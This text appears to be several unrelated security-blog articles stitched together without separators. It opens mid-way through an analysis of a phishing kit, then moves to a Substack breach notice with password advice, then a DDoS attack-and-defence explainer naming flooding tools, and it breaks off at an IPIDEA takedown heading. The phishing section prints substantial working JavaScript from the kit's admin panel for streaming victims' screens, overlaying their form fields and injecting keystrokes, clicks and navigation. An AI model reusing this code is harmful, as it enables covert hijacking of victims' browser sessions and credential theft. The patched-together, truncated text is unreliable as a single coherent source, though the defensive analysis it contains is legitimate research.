The priority queue system allows certain sessions to jump ahead. When the server sends an update indicating new activity on a specific client, enqueueImmediate() moves that client to the front of the line, ensuring the admin sees active sessions quickly.

The 3-second cooldown between requests prevents flooding the server while still allowing responsive tab switching. Priority requests bypass this cooldown, but regular tab clicks must wait.

Real-Time Screen Streaming

The admin views each victim’s browser through a live screen stream delivered as AVIF-encoded image frames over WebSocket.

Frame Reception and Double Buffering

let activeBuffer = remoteViewA;
let hiddenBuffer = remoteViewB;

activeBuffer.style.opacity = 1;
hiddenBuffer.style.opacity = 0;

function processNewFrame(buffer) {
    return new Promise((resolve) => {
        try {
            const blob = new Blob([buffer], { type: 'image/avif' });
            const url = URL.createObjectURL(blob);

            const onloadHandler = () => {
                setTimeout(() => {
                    hiddenBuffer.style.opacity = '1';
                    activeBuffer.style.opacity = '0';

                    [activeBuffer, hiddenBuffer] = [hiddenBuffer, activeBuffer];

                    URL.revokeObjectURL(url);
                    hiddenBuffer.onload = null;
                    hiddenBuffer.onerror = null;

                    if (!firstFrameReceived) {
                        firstFrameReceived = true;
                        autoclickOverlay.style.display = 'none';
                    }

                    resolve();
                }, 50);
            };

            hiddenBuffer.onload = onloadHandler;
            hiddenBuffer.onerror = (e) => {
                console.error('Error loading image:', e);
                URL.revokeObjectURL(url);
                resolve();
            };

            hiddenBuffer.src = url;

        } catch (error) {
            console.error('Error processing binary data:', error);
            resolve();
        }
    });
}

Frame Processing Flow:

1. Binary data arrives over WebSocket as an ArrayBuffer

2. Blob URL created from AVIF-encoded image data

3. Hidden buffer loads the new frame while current frame remains visible

4. Crossfade transition swaps buffers using opacity animation

5. Memory cleanup revokes the old Blob URL

This double-buffering technique eliminates screen flicker and provides smooth frame transitions. The victim’s screen updates continuously at a rate determined by the server, typically between 5-15 frames per second depending on activity level.

Frame Queue Management

let latestFrame = null;
let isProcessing = false;

async function processNextFrame() {
    if (!latestFrame || isProcessing) {
        return;
    }

    isProcessing = true;
    const frameToProcess = latestFrame;
    latestFrame = null;

    try {
        const buffer = frameToProcess instanceof Blob ?
            await frameToProcess.arrayBuffer() :
            frameToProcess;

        await processNewFrame(buffer);
    } catch (error) {
        console.error('Error processing frame:', error);
    } finally {
        isProcessing = false;
        if (latestFrame) {
            requestAnimationFrame(processNextFrame);
        }
    }
}

Frame Dropping Behavior: If frames arrive faster than they can be rendered, the queue stores only the most recent frame and discards older ones. This prevents memory buildup while ensuring the admin always sees the latest screen state.

When a new frame arrives during processing, it overwrites latestFrame. Once the current frame finishes rendering, the system immediately begins processing the newest frame, skipping any intermediate frames that arrived in between.

Input Hijacking and Control

The admin can interact with victim sessions by injecting mouse movements, clicks, keyboard input, and form data in real time.

Form Input Overlay System

The page creates invisible overlays on top of every input field in the victim’s browser:

function hi_input_f(message) {
    if (!message.elements || !Array.isArray(message.elements)) {
        return;
    }

    const currentIds = new Set();

    message.elements.forEach(element => {
        if (!element.id || !element.isVisible) return;
        currentIds.add(element.id);
        
        let inputEl = inputElements.get(element.id);
        let wrapper = inputElementsWrapper.get(element.id);

        if (!wrapper) {
            inputEl = document.createElement(element.tagName);
            wrapper = document.createElement('div');
            wrapper.dataset.inputId = element.id;
            wrapper.dataset.iframeIndex = element.iframe_index;
            wrapper.className = 'hi_input';

            wrapper.style.position = 'absolute';
            wrapper.style.zIndex = '999';
            wrapper.style.pointerEvents = 'auto';
            wrapper.style.opacity = 0; // Hidden by default

            // Apply exact styling from victim's element
            const styles = element.styles || {};
            Object.keys(styles).forEach(prop => {
                if (prop in inputEl.style) {
                    inputEl.style[prop] = styles[prop];
                }
            });

            inputEl.addEventListener('input', handleInputChangeEvent);
            inputEl.addEventListener('keydown', handleInputKeyDownEvent);

            wrapper.appendChild(inputEl);
            document.body.appendChild(wrapper);

            inputElements.set(element.id, inputEl);
            inputElementsWrapper.set(element.id, wrapper);
        }

        // Position overlay exactly over victim's input
        const adaptiveEdgeInset = getAdaptiveEdgeInset(element.styles.maskSize, 2);
        const fixedVerticalInset = 4;

        wrapper.style.left = `${(element.position.left - element.position.scrollX) + adaptiveEdgeInset}px`;
        wrapper.style.top = `${(element.position.top - element.position.scrollY) + fixedVerticalInset}px`;
        wrapper.style.width = `${Math.max(0, element.position.width - (adaptiveEdgeInset * 2))}px`;
        wrapper.style.height = `${Math.max(0, element.position.height - (fixedVerticalInset * 2))}px`;

        // Show or hide based on admin interaction mode
        if (active_client_id && !interact_tab_list.get(active_client_id)) {
            wrapper.style.display = 'none';
        } else {
            wrapper.style.display = 'block';
        }
    });

    // Remove stale overlays
    inputElementsWrapper.forEach((el, id) => {
        if (!currentIds.has(id)) {
            el.remove();
            inputElementsWrapper.delete(id);
            inputElements.delete(id);
        }
    });
}

Overlay Synchronization: The server sends position and styling data for every input field on the victim’s page. The admin interface creates matching HTML elements positioned exactly over each input using absolute positioning.

These overlays remain invisible (opacity: 0) until the admin activates “interact mode” for a specific session. When activated, the overlays become visible and interactive, allowing the admin to type directly into the victim’s form fields.

Edge insets prevent the overlay from blocking the input border, ensuring the admin can see the exact visual feedback the victim would see including focus rings and validation states.

Interaction Mode Control

interact_tab_btn.addEventListener('click', function () {
    if (!active_client_id) return;
    if (!pause_activateTab) {
        alert("Pause and enter the tab you wish to interact with");
        return;
    }

    interact_tab_toggle = !interact_tab_toggle;
    
    if (interact_tab_toggle) {
        is_Admin = false;
        interact_tab_btn.innerHTML = `<i class="fas fa-xmark"></i>`;
        interact_tab_list.set(active_client_id, true);

        socket_send({
            type: 'admin_session_control',
            client_id: active_client_id,
            action: 'take_control'
        });
    } else {
        if (!confirm("Are you sure you want to release control?")) return;
        is_Admin = true;
        interact_tab_btn.innerHTML = `<i class="fas fa-hand-pointer"></i>`;
        interact_tab_list.set(active_client_id, false);

        socket_send({
            type: 'admin_session_control',
            client_id: active_client_id,
            action: 'release_control'
        });
    }
});

Control State Management:

When the admin clicks the “interact” button:

1. A confirmation is sent to the server indicating admin control has begun

2. The is_Admin flag is temporarily set to false to enable victim-like behavior

3. Input overlays for the active session become visible and focusable

4. All admin keyboard and mouse input is forwarded to the victim session

This mode allows the admin to fill out forms, click buttons, and navigate the victim’s browser as if directly controlling it. The victim sees these actions happen in real time but has no indication they are admin-initiated rather than organic user behavior.

Input Synchronization

async function handleInputChangeEvent(event) {
    let value = event.target.value;
    const wrapper = event.target.parentElement;
    
    if (!socket || socket.readyState !== WebSocket.OPEN) return;
    
    socket_send({
        type: 'keyInputChange',
        value: value,
        id: wrapper.dataset.inputId,
        iframe_index: wrapper.dataset.iframeIndex,
        original_type: wrapper.dataset.originalType,
    });
}

Every character typed into an admin-controlled overlay triggers an immediate WebSocket message. The server receives the new value and injects it into the victim’s actual input field.

This creates bidirectional synchronization: when the victim types, the admin sees it in the overlay. When the admin types, the victim sees it in their form field. Neither party knows the other is interacting with the same field.

Navigation and Browser Control

Beyond form input, the admin can directly control browser navigation and page interaction.

Navigation Commands

nav_back_btn.addEventListener('click', function () {
    socket_send({
        type: 'navigation',
        action: 'back'
    });
});

nav_forward_btn.addEventListener('click', function () {
    socket_send({
        type: 'navigation',
        action: 'forward'
    });
});

nav_refresh_btn.addEventListener('click', function () {
    socket_send({
        type: 'navigation',
        action: 'refresh'
    });
});

These controls allow the admin to:

• Navigate backward through the victim’s browser history

• Navigate forward if the victim has gone back

• Force a page refresh

The victim experiences these as normal browser actions with no indication they were remotely triggered.

Mouse and Keyboard Injection

function handleMouseDown(event) {
    const coords = convertCoordinates(event.clientX, event.clientY);
    
    socket_send({
        type: 'mousedown',
        x: coords.x,
        y: coords.y,
        button: 0,
        clickCount: 1
    });
}

function handleKeyDown(event) {
    socket_send({
        type: 'keydown',
        key: event.key,
        code: event.code,
        keyCode: event.keyCode,
        modifiers: getModifiers(event),
    });
}

Every mouse movement, click, and keyboard press from the admin is serialized and transmitted to the victim’s browser, where it is replayed as a synthetic event. The victim’s page responds exactly as if the user had performed the action locally.

Metadata Collection and Monitoring

The admin interface collects and displays comprehensive metadata about each victim session.

Real-Time Metadata Display

function updateMetadataDisplay(metaData) {
    if (!enable_metadata_display) return;

    let gridContainer = tabContent.querySelector('.metadata-grid');

    if (!gridContainer) {
        tabContent.innerHTML = `
            <div class="metadata-container">
                <h3><i class="fas fa-info-circle"></i> Session Metadata</h3>
                <div class="metadata-grid"></div>
            </div>
        `;
        gridContainer = tabContent.querySelector('.metadata-grid');
    }

    const displayedKeys = new Set(
        Array.from(gridContainer.querySelectorAll('.metadata-item'))
            .map(el => el.dataset.key)
    );

    for (const [key, value] of Object.entries(metaData)) {
        if (excludedKeys.includes(key) || value === null || value === undefined) {
            continue;
        }

        displayedKeys.delete(key);
        const displayValue = typeof value === 'object' ? 
            JSON.stringify(value, null, 2) : String(value);

        let itemElement = gridContainer.querySelector(
            `.metadata-item[data-key="${key}"]`
        );

        if (itemElement) {
            const valueSpan = itemElement.querySelector('.metadata-value');
            if (valueSpan && valueSpan.textContent !== displayValue) {
                valueSpan.textContent = displayValue;
                itemElement.classList.add('highlight-update');
                setTimeout(() => 
                    itemElement.classList.remove('highlight-update'), 1500
                );
            }
        } else {
            const newItem = document.createElement('div');
            newItem.className = 'metadata-item';
            newItem.dataset.key = key;
            newItem.innerHTML = `
                <span class="metadata-key">${formatKey(key)}:</span>
                <span class="metadata-value">${displayValue}</span>
            `;
            gridContainer.appendChild(newItem);
        }
    }

    for (const keyToRemove of displayedKeys) {
        const elementToRemove = gridContainer.querySelector(
            `.metadata-item[data-key="${keyToRemove}"]`
        );
        if (elementToRemove) {
            gridContainer.removeChild(elementToRemove);
        }
    }
}

Displayed Information:

The metadata panel shows real-time information about the victim including:

• IP address and geolocation (city, region, country, coordinates)

• ISP and network organization

• Browser user agent and platform details

• GPU vendor and renderer information

• Screen resolution and timezone

• Operating system version

• Color scheme preference

Values update dynamically as the victim’s session state changes. Visual highlighting briefly indicates which fields have been modified, allowing the admin to notice state changes at a glance.

Hidden Admin Debugging Console

Secret Keyboard Activation: Beyond the standard admin interface, the page contains a completely hidden debugging console activated through an undocumented keyboard shortcut:

document.addEventListener('keydown', (e) => {
    if (e.ctrlKey && e.altKey && e.shiftKey && e.key === 'D') {
        e.preventDefault();
        createAdminPanel();
        adminPanel.style.display = adminPanel.style.display === 'none' ? 
            'block' : 'none';
        
        if (window._adminLogMetadata) {
            addLog(window._adminLogMetadata);
        }
        
        updateLogDisplay();
    }
});

Pressing Ctrl+Alt+Shift+D reveals a draggable console panel that logs all metadata updates, WebSocket messages, and system events. This panel is styled to look like a terminal interface and includes export functionality to save logs as JSON.

The console automatically captures and stores the last 50 log entries, allowing an admin to review session history even after events have passed. Each entry is timestamped and formatted for readability.

Evidence of “Vibe Coding”

One of the most striking characteristics of the admin code is the presence of extremely detailed, tutorial-style comments throughout the source.

These comments are visible to anyone inspecting the page source and provide step-by-step explanations of how the attack infrastructure works.

This coding style suggests the code was either:

• Generated using AI assistants like ChatGPT or Claude, which produce verbose explanatory comments

• Developed by inexperienced programmers who needed extensive documentation

• Purchased from a phishing kit service that provides documented code for customers

• Copied from tutorial resources and adapted for this specific campaign

Admin Activation Instructions in Comments

The code literally includes instructions on how to activate admin mode:

// Hidden admin logging - Press Ctrl+Shift+L to toggle
window._adminLogMetadata = meta_data; // Store for admin panel

Later in the code:

// Secret key combination: Ctrl+Alt+Shift+D
document.addEventListener('keydown', (e) => {
    if (e.ctrlKey && e.altKey && e.shiftKey && e.key === 'D') {

Why This Is Unusual: Production malware typically contains minimal comments to reduce file size and avoid revealing operational details. Including the exact keyboard shortcut needed to activate hidden functionality is equivalent to leaving the instruction manual inside the attack code itself.

Tutorial-Style Function Explanations

Throughout the code, functions include verbose explanations of their purpose and behavior:

// Safe JSON stringify with circular reference protection
function safeStringify(obj, maxDepth = 5) {
    const seen = new WeakSet();

    function recurse(value, depth) {
        if (depth > maxDepth) return '[Max depth reached]';
        if (value === null) return 'null';
        if (typeof value === 'function') return '[Function]';
        if (typeof value !== 'object') return JSON.stringify(value);

        if (seen.has(value)) return '[Circular]';
        seen.add(value);
        // ... continues with detailed implementation
    }

    return recurse(obj, 0);
}

And elsewhere:

// Queue control functions
function pauseQueue() {
    pipe.pause();
    if (queueTimer) {
        clearTimeout(queueTimer);
        queueTimer = null;
    }
}

function playQueue() {
    pipe.play();
    processQueue(); // Resume processing
}

Educational Tone: These comments read like programming tutorials rather than production code. They explain what the function does, why it exists, and how it integrates with the broader system.

Typical malware uses terse or absent comments to make reverse engineering more difficult. This code does the opposite, providing a guided tour of the attack infrastructure.

Why “Vibe Coding” Matters for Attribution

The presence of AI-generated artifacts and tutorial-style documentation provides strong evidence that this campaign was built using AI coding assistants rather than developed entirely by experienced programmers.

Key Indicators:

1. Inconsistent Code Quality: Some sections are sophisticated (encryption, queue management) while others are basic (simple string concatenation, inline styles)

2. Over-Documentation: Comments explain obvious functionality in excessive detail

3. Educational Tone: Code reads like a teaching resource, not a production tool

4. Debug Code in Production: Helper functions for development remain active

Implications:

This suggests the operators:

• May have limited programming expertise and relied on AI to generate complex features

• Did not properly audit and clean the generated code before deployment

• Prioritized rapid development over operational security

• May be using a phishing kit that provides “documented code” for less technical customers

The verbose commenting actually aids security researchers by documenting the attack infrastructure in the attacker’s own code.

What may have been intended to help less technical operators understand the system has instead created a comprehensive self-documenting manual for defenders analyzing the operation.

Overall Score:

• Anonymity - 10 / 10 - The visible artifacts point to throwaway accounts and short‑lived infrastructure. Domains and services are shielded behind privacy services and proxies, leaving no direct link to a real‑world identity.

• Detection Evasion - 10 / 10 - The campaign relies heavily on cloud platforms and dynamic delivery. This blends traffic into normal web activity and avoids many static indicators used by security tooling.

• Anti‑Analysis - 3 / 10 - Some basic fingerprinting and bot checks are present, but they are limited and misconfigured. Network requests and source logic were still observable, and there was no strong effort to actively block basic manual analysis.

• Lure - 10 / 10 - The initial lure is convincing and well chosen. Using a business email compromise context provides a realistic reason for urgency and user compliance.

• Phishing Page - 10 / 10 - The login flow closely mirrors a real Google authentication page and is proxied through attacker‑controlled infrastructure. Credentials and session tokens are captured in real time.

• Infrastructure – 6/10: The overall setup is functional, but some control endpoints and configuration files must be exposed for the kit to operate. In other cases, misconfigurations expose sensitive components, including domain lists, proxy lists, and other mission‑critical files.

Score Summary

Overall, the attacker prioritized anonymity and delivery over hardening internal control systems. Cloud services and layered obfuscation reduce traceability, but certain elements of the infrastructure have to remain reachable and cannot be fully hidden. The codebase shows iterative development and rapid changes, with leftover comments and unused logic. These are not necessarily errors, they could be constraints of operating an active campaign.

According to the company, an unauthorized third party accessed its systems in October 2025 and obtained user email addresses, phone numbers, and internal metadata. The breach was only discovered months later, in February 2026.

Substack says passwords, credit card numbers, and financial information were not affected, but the company has not disclosed how many users were impacted, what vulnerability was exploited, or why detection took so long.

Why Exposed Emails Are Dangerous

Your email address is the backbone of your online identity.

Most people reuse the same email and password across a variety of services. When one site leaks credentials, attackers automatically try that same email and password combination across hundreds of other platforms. This works because reuse is extremely common and trivial to automate.

Even when only an email is exposed, attackers can pivot. Emails are routinely searched in breach databases that aggregate years of past leaks. Those databases often reveal other accounts tied to the same email and sometimes old passwords used elsewhere. From there, attackers attempt logins, abuse password resets, send targeted phishing, or move toward extortion.

This is how a single breach turns into many compromised accounts.

How to Protect Yourself Going Forward

Never Reuse Passwords

Do not reuse passwords. Ever.

If one service is breached and you reused a password, attackers can immediately try it everywhere else. This remains one of the most common causes of account takeover.

Use a password manager to generate and store a unique password for every site.

Recommended options:

• 1Password

• Bitwarden

• NordPass Password Manager

A password manager makes strong, unique passwords the default instead of an extra chore. You only need to remember one master password, and it gives you access to a vault of long, unique passwords for every site you use.

Never Reuse Email Addresses Across Most Accounts

Reusing the same email address across most of your accounts makes it easy for attackers to map your entire digital footprint after a breach.

Once your email is exposed, attackers search it across breach databases and public data sets. This often reveals many other services tied to that email and sometimes old passwords from previous leaks. From there, attackers target password resets, send highly convincing phishing emails, or attempt account recovery attacks.

This problem is not limited to high value accounts. Low importance accounts like forums, newsletters, and social platforms are often the weakest link. They expose usernames, interests, and behavior patterns that attackers use to move toward more valuable accounts.

The correct mental model is to treat email addresses like passwords. Most accounts should get a unique one.

Email aliases make this practical. ProtonMail is a strong option.

ProtonMail supports unlimited email aliases using their forwarding domain passmail.net, allowing you to create a unique address for every service. All aliases deliver to your main inbox, so management stays simple.

For example:

• substack123@passmail.net

• shopping123@passmail.net

• forum123@passmail.net

To the outside world, these are completely separate addresses.

If one alias is leaked, attackers cannot use it to discover your other accounts or your primary email. If an alias starts receiving spam or phishing, you can disable it without breaking anything else.

Data Breaches Are Inevitable

Breaches are inevitable. Credential reuse is what turns them into cascading failures.

Unique passwords and unique email addresses isolate damage and prevent a single incident from becoming a full account takeover chain. Stay safe out there!

If you found this guide helpful, please share.

Update: Substack Responds to Information Request

I reached out to Substack directly asking whether “User IDs” are internal database identifiers (UUIDs) or something more sensitive like login credentials.

Their response confirmed that:

• Credit card numbers, passwords, and financial information were NOT accessed.

• They have fixed the system vulnerability that allowed the breach.

• The breach occurred in October 2025.

• Impacted users received a message informing them of the incident; if they did not receive a notice, their data was not impacted.

They didn’t specifically address what “User IDs” actually are. The reply mentioned “other internal metadata” was accessed, which likely includes these User IDs, but provided no technical clarification on what that means.

It sounds like these are likely internal database identifiers (non-sensitive technical metadata), not usernames or login credentials, but Substack hasn’t confirmed that explicitly.

When these attacks come from multiple sources simultaneously, they’re called Distributed Denial of Service (DDoS) attacks, making them far more powerful and harder to defend against.

Types of Denial of Service Attacks

DoS and DDoS attacks can be classified into three main categories based on what they target and how they operate.

Each category exploits different vulnerabilities in network infrastructure, requiring distinct defensive strategies. Understanding these categories is essential for both attackers (in ethical contexts) and defenders.

1. Volumetric Attacks (Bandwidth Exhaustion)

Volumetric attacks are the most straightforward type of DoS attack. The goal is simple: flood network connections with so much data that legitimate traffic cannot get through. This doesn’t require sophistication, just the ability to generate more traffic than the target’s available network capacity can handle.

Targets can include external internet connections or internal data center traffic. The objective is always to exhaust available bandwidth capacity.

The magnitude is measured in bits-per-second (bps), with modern attacks reaching multiple terabits per second. The largest recorded have exceeded 2 Tbps, enough bandwidth to overwhelm even major internet service providers.

Common attack techniques in this category include:

• UDP Flood attacks send massive numbers of User Datagram Protocol packets to random ports on the target system. Since UDP is connectionless, the target must check each packet to see if any application is listening on that port, consuming resources even when no application exists.

• ICMP Flood attacks, also known as ping floods, overwhelm the target with Internet Control Message Protocol echo request (ping) packets. The target system must process each request and send a reply, eventually exhausting its ability to respond to legitimate traffic.

• Ping of Death is a classic attack that sends malformed or oversized ping packets that exceed the maximum IP packet size. When reassembled, these packets can crash or freeze vulnerable systems that don’t properly handle the malformed data.

• Smurf attacks exploit Internet Control Message Protocol by broadcasting ping requests to a network’s broadcast address, while spoofing the source IP address to be the victim’s address. Every device on the broadcast network then sends a reply to the victim, amplifying the attack significantly.

• DNS Amplification exploits public DNS resolvers by sending small queries with spoofed source addresses. The victim receives large DNS responses they never requested, amplifying attack traffic up to 54 times the original query size. This Distributed Reflected Denial of Service (DRDoS) technique obscures the attacker’s location while multiplying bandwidth impact.

• NTP Amplification abuses vulnerable Network Time Protocol servers by exploiting the “monlist” command. Attackers send small queries with the victim’s spoofed IP address, triggering large responses that can amplify traffic up to 556 times. While modern servers have patched this vulnerability, legacy systems remain at risk.

Tools used to execute this type of attack include:

• hping3 - A packet crafting tool. This command-line tool allows security professionals to generate custom packets and test how networks respond to various traffic patterns.

• LOIC (Low Orbit Ion Cannon) - Stress testing tool that can simulate volumetric attacks in controlled environments, though it should only be used on networks you own or have explicit written permission to test.

• HOIC (High Orbit Ion Cannon) - Advanced stress testing tool with more customization options than LOIC for authorized network testing.

• Bonesi - DDoS botnet simulator specifically designed for research purposes, allowing security teams to understand how distributed attacks function.

• UDP Flooder - Network stress testing utility for evaluating bandwidth capacity.

2. Protocol Attacks (Resource Exhaustion)

Protocol attacks are more sophisticated than volumetric attacks because they exploit specific weaknesses in how network protocols function.

Rather than simply overwhelming bandwidth, these attacks target the finite resources of network infrastructure components such as firewalls, load balancers, and application servers.

Every network device has limits on how many concurrent connections it can maintain, how much memory it has for connection state tables, and how much CPU power it can dedicate to processing packets.

These attacks are measured in packets-per-second (pps) rather than bits-per-second, because what matters is not the volume of data but the number of individual transactions the target must process.

Even relatively small attacks measured in bandwidth can be devastating if they force servers to maintain thousands or millions of connection states.

The most common protocol attacks work as follows:

• SYN Flood attacks exploit the TCP three-way handshake process. Normally, a client sends a SYN packet, the server responds with SYN-ACK, and the client completes the connection with an ACK. In a SYN flood, attackers send thousands of SYN packets but never send the final ACK, leaving connections in a half-open state. Each half-open connection consumes memory in the server’s connection table, and when this table fills up, the server cannot accept new legitimate connections.

• Fragmentation attacks abuse how IP packets can be broken into smaller fragments for transmission. Attackers send fragmented packets that either overlap in confusing ways (Teardrop attack) or cannot be properly reassembled. The target system wastes resources trying to reassemble these malformed fragments, potentially crashing if it encounters edge cases in its reassembly code.

• Malformed packet attacks send packets that violate protocol standards in various ways. The Land attack sends a packet where the source and destination IP addresses are identical, confusing some systems. The Ping of Death sends oversized packets that cause buffer overflows during reassembly. These attacks often target specific software vulnerabilities rather than protocol design flaws.

• Spoofed session floods create fake network sessions using spoofed source IP addresses. The target responds to these spoofed addresses, but the responses go nowhere, wasting the target’s resources while making it difficult to block the attack since each packet appears to come from a different legitimate source.

• ACK floods send TCP acknowledgment packets without any preceding SYN handshake. Targets must process each ACK packet to determine if it belongs to an existing connection, consuming CPU and memory resources.

• TCP SACK Panic exploits vulnerabilities in how systems process TCP Selective Acknowledgment options. By sending carefully crafted SACK packets, attackers can trigger worst-case behavior in the processing code, causing extreme CPU consumption or even kernel panics.

Tools used to execute this type of attack include:

• hping3 - Craft custom TCP/UDP/ICMP packets with precise control over all header fields for protocol testing.

• Scapy - Python-based framework that provides flexibility for packet manipulation and protocol analysis, ideal for developing custom test scripts.

• Metasploit Framework - Contains modules for testing SYN flood resistance and other protocol vulnerabilities in authorized penetration tests.

• Netwox - Comprehensive toolkit of network testing utilities, including tools for various protocol attacks.

• THC-SSL-DOS - Tests SSL/TLS protocol implementations to identify servers vulnerable to SSL renegotiation attacks.

3. Application Layer Attacks (Layer 7)

Application layer attacks represent the most sophisticated category of DoS attacks because they target the actual application software rather than network infrastructure.

These attacks are particularly dangerous because they can be effective with relatively low bandwidth and are difficult to distinguish from legitimate user traffic. A single attacker with a modest internet connection can potentially take down a poorly protected web application.

Because these attacks operate at Layer 7 of the OSI model (the application layer), they understand and exploit the specific logic of applications like web servers, database systems, or API endpoints.

The magnitude of these attacks is measured in requests-per-second (rps), and what matters is not bandwidth or packet count but how much computational work each request forces the application to perform.

Key application layer attack techniques include:

• HTTP GET/POST floods overwhelm web servers with what appears to be legitimate HTTP requests. Unlike simple volumetric attacks, these requests are properly formatted and complete, making them difficult to filter. Attackers may request resource-intensive pages like search results or database queries to maximize the impact of each request. Modern variations target specific application endpoints known to be computationally expensive.

• Slowloris attacks exploit how web servers handle concurrent connections. Rather than sending requests quickly, Slowloris opens many connections to the target web server and keeps them open as long as possible by sending partial HTTP requests. It periodically sends additional headers but never completes the request. The server keeps these connections open waiting for the request to complete, eventually exhausting its connection pool and becoming unable to accept new legitimate connections.

• Slow POST attacks use a similar principle but target HTTP POST requests. The attacker sends a legitimate HTTP POST header specifying a large content length but then transmits the actual body data one byte at a time, as slowly as possible. The server must keep the connection open waiting for the full request body, tying up resources.

• HTTP fragmentation attacks send HTTP packets broken into tiny fragments, often just a few bytes each. The target server must buffer these fragments and reassemble them, consuming memory and processing time. This technique can also help attackers evade simple filtering systems that only examine complete packets.

• DNS query floods target Domain Name System servers with massive numbers of lookup requests. While DNS is technically a protocol layer service, these attacks target the application logic of DNS servers, especially recursive resolvers. Attackers can craft queries for random subdomains or leverage DNS amplification techniques.

• Range header attacks (also known as Apache Killer) exploit how web servers process the HTTP Range header, which allows clients to request specific byte ranges of a file. By requesting hundreds of overlapping byte ranges in a single request, attackers can force the server to perform extensive processing and memory allocation for each response, causing memory exhaustion or crashes.

Tools used to execute this type of attack include:

• Slowloris - Python script that tests how well web servers handle slow connection attacks, remaining the standard for this attack type.

• HULK (HTTP Unbearable Load King) - Generates obfuscated HTTP requests to bypass simple DDoS protection systems during authorized testing.

• GoldenEye - Application layer testing tool with customization options for various HTTP-based attacks.

• Apache Bench (ab) - Widely respected benchmarking utility for legitimate performance testing that also reveals DoS vulnerabilities.

• siege - HTTP load testing and benchmarking utility for stress testing web applications.

• Apache JMeter - Comprehensive framework for testing application performance under various load conditions.

• SlowHTTPTest - Specifically focuses on testing various slow attack vectors including Slowloris, Slow POST, and others.

Defense: Protecting Against DoS/DDoS Attacks

Effective defense against denial of service attacks requires multiple layers of protection, from network infrastructure to application design.

Detection Strategies

Early detection is critical for minimizing attack impact. Traffic analysis involves continuously monitoring for unusual spikes in bandwidth consumption, packet rates, or request volumes. Sudden increases of 2x, 10x, or more can indicate an attack in progress.

• Behavioral analysis looks for patterns that deviate from normal user behavior. For example, if typical users request 5 pages per minute but suddenly thousands of IPs are requesting 100 pages per minute, this suggests automated attack traffic.

• Rate monitoring tracks requests from individual IP addresses or networks over time. Legitimate users rarely make hundreds of requests per second, so abnormal rates indicate potential attacks.

• Intrusion Detection Systems (IDS) like Snort or Suricata use signature-based and anomaly-based detection to identify attack patterns. These systems can alert security teams to suspicious traffic in real time.

• Log analysis involves examining server logs for attack signatures such as repeated requests for the same resource, suspicious user agents, or requests with malformed parameters.

• Network flow analysis using technologies like NetFlow or sFlow provides high-level visibility into traffic patterns without inspecting every packet, allowing detection of volumetric attacks even when individual packets appear legitimate.

Mitigation Approaches

Once an attack is detected, various mitigation strategies can reduce its impact.

• Load balancers at the network level distribute traffic across multiple servers, preventing any single server from being overwhelmed. Modern load balancers also include basic DoS protection features like connection rate limiting.

• Content Delivery Networks (CDNs) like Cloudflare, Akamai, or Fastly absorb attack traffic at their edge servers distributed worldwide. Because CDNs have massive bandwidth capacity and advanced filtering, they can handle attacks that would overwhelm a single origin server.

• Firewall configurations including SYN cookies prevent SYN flood attacks by having the firewall handle the TCP handshake on behalf of protected servers. Only complete connections are forwarded to application servers.

• Rate limiting at the network edge restricts how many requests individual IPs or networks can make within a given time window, blocking sources that exceed reasonable thresholds.

• Anycast routing distributes traffic geographically by advertising the same IP address from multiple locations. Attack traffic gets distributed across many servers in different regions rather than concentrating on a single location.

• DDoS protection services from providers like AWS Shield, Cloudflare, or Arbor Networks offer dedicated infrastructure and expertise for handling large-scale attacks. These services combine massive bandwidth capacity with sophisticated filtering algorithms.

• CAPTCHA challenges at the application level distinguish humans from bots by requiring users to solve puzzles that are easy for humans but difficult for automated systems.

• Web Application Firewalls (WAF) inspect HTTP traffic and block requests matching known attack patterns. They can also enforce complex logic like rate limiting per session or progressive challenges.

• Connection limits and timeouts prevent attacks like Slowloris by limiting how long incomplete connections can remain open and how many connections a single IP can maintain.

• Reverse proxies sit in front of application servers, filtering malicious requests before they reach the actual application. They can also cache content and handle SSL/TLS termination, reducing load on backend servers.

• IP reputation filtering blocks traffic from sources known to be associated with attacks, using threat intelligence feeds that track malicious IP addresses.

• Progressive challenges require suspicious users to prove they’re legitimate by executing JavaScript, accepting cookies, or completing multiple verification steps before accessing protected resources.

Operational Preparedness

Beyond technical defenses, organizations need operational readiness.

Incident response plans should document roles, responsibilities, and procedures for responding to DoS attacks. Regular testing through tabletop exercises ensures teams know what to do when attacks occur.

• Excess capacity in infrastructure provides headroom to absorb traffic spikes. Over-provisioning bandwidth, servers, and other resources can make the difference between weathering an attack and complete service outage.

• Relationships with ISPs and mitigation providers should be established before attacks occur. Having contracts and communication channels already in place enables faster response when every minute counts.

• Communication plans ensure stakeholders, customers, and the public receive timely updates during incidents. Transparency about attacks and response efforts builds trust even during service disruptions.

• Traffic baselines documenting normal patterns make it easier to identify anomalies. Understanding what’s typical for your service helps distinguish attacks from legitimate traffic surges.

DDoS in the News: The IPIDEA Takedown

Recent events demonstrate how DDoS infrastructure operates at massive scale and the ongoing efforts to combat it.

In January 2026, Google announced it had worked with partners to disrupt IPIDEA, described as one of the world’s largest residential proxy networks.

What Was IPIDEA?

IPIDEA advertised itself as the “world’s leading provider of IP proxy” with more than 6.1 million daily updated IP addresses.

However, Google’s Threat Intelligence Group revealed that IPIDEA’s network was being leveraged by over 550 individual threat groups from across the world, including actors from China, North Korea, Iran, and Russia.

While the proxy network served various malicious purposes including accessing victim environments and conducting password spray attacks, it became particularly notorious as infrastructure for launching distributed denial-of-service attacks.

How the Attack Infrastructure Worked

The malware that turned consumer devices into proxy endpoints was stealthily bundled within apps and games pre-installed on off-brand Android TV streaming boxes. This forced infected devices to relay malicious traffic and participate in DDoS attacks without the owner’s knowledge.

IPIDEA also released standalone apps marketed to people looking to make “easy cash” by advertising payment for installing the app and allowing it to use their “unused bandwidth.”

Behind the scenes, IPIDEA controlled multiple residential proxy brands including 360 Proxy, 922 Proxy, ABC Proxy, Luna Proxy, and others.

The company also marketed Software Development Kits (SDKs) to third-party developers as a way to monetize their applications. Developers who integrated these SDKs were paid on a per-download basis, while users who installed these apps unknowingly became nodes in a massive proxy network used for attacks.

The DDoS Connection: Kimwolf and Aisuru Botnets

While IPIDEA’s infrastructure supported various attack types, it became particularly significant in the DDoS landscape.

Hackers discovered security flaws in IPIDEA’s network and exploited them to create powerful botnets specifically designed for denial-of-service attacks.

• The Kimwolf botnet took control of roughly 2 million compromised systems within the IPIDEA network, using them to launch massive DDoS attacks by flooding target websites with high volumes of traffic.

• The Aisuru botnet, conducted similar large-scale DDoS operations. These botnets represented some of the most significant DDoS threats of their time, with capabilities to generate record-breaking attack volumes.

The Takedown

